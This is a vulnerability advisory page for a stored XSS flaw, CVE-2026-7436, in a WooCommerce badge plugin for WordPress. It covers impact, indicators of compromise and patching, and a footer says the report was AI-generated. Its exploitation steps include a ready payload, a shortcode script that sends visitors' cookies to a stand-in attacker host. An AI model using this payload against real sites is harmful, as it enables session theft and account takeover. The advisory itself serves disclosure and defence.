CVE-2026-7436
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-7436 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Badge Management for WooCommerce plugin for WordPress, developed by WPClever. The flaw exists in all versions up to and including 3.1.6, where the text attribute of the wpcbm_best_seller shortcode is insufficiently sanitized and escaped. It was published on July 29, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerability resides in includes/class-shortcode.php at line 141, where user-supplied input to the text attribute of the wpcbm_best_seller shortcode is rendered without adequate sanitization or output escaping. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload in the shortcode attribute, which is then stored in the database and executed in the browsers of any user who visits the affected page — requiring no further user interaction beyond page access (GitHub Advisory, WordPress Trac).

Impact

Successful exploitation allows authenticated attackers to inject persistent malicious scripts that execute in the browsers of all users visiting the compromised page, including administrators. This can result in session token theft, unauthorized actions performed on behalf of victims, content defacement, phishing redirects, and potential privilege escalation if an administrator's session is hijacked. Confidentiality and integrity are both partially impacted, while availability is unaffected (Wordfence, GitHub Advisory).

Exploitation steps

  1. Gain Contributor-level access: Register or compromise a WordPress account with at least Contributor privileges on a site running WPC Badge Management for WooCommerce version 3.1.6 or earlier.
  2. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
  3. Inject malicious shortcode: Insert the wpcbm_best_seller shortcode with a crafted text attribute containing a JavaScript payload, e.g., [wpcbm_best_seller text="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the content: Save and publish the post or page, causing the malicious payload to be stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session theft, credential harvesting, or further attacks (GitHub Advisory, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing wpcbm_best_seller shortcode with suspicious text attribute values including <script>, javascript:, or encoded variants.
  • Database: Unexpected JavaScript content stored in wp_posts or wp_postmeta tables within wpcbm_best_seller shortcode text attributes.
  • Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the wpcbm_best_seller shortcode, potentially indicating cookie exfiltration or redirect activity.
  • File System: No direct file system artifacts expected for stored XSS; however, review includes/class-shortcode.php in the plugin directory for unauthorized modifications.

Mitigation and workarounds

Update the WPC Badge Management for WooCommerce plugin to a version later than 3.1.6, which includes the fix applied in the trunk changeset. As an interim measure, restrict shortcode usage to administrator-only roles if your deployment allows it, and audit existing content created by Contributor-level and above users for injected scripts — particularly posts using the wpcbm_best_seller shortcode. The patch can be reviewed in the official WordPress plugin repository changeset (WordPress Trac Changeset, WordPress Plugin Page).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-14270HIGH8.8
  • woocommerce-tm-extra-checkout-options-addon
NoYesJul 29, 2026
CVE-2026-5060MEDIUM6.5
  • masterstudy-lms-learning-management-system
NoYesJul 29, 2026
CVE-2026-8791MEDIUM6.4
  • booking-system-trafft
NoYesJul 29, 2026
CVE-2026-7436MEDIUM6.4
  • wpc-badge-management
NoYesJul 29, 2026
CVE-2026-6089MEDIUM4.9
  • easy-sticky-sidebar
NoYesJul 29, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management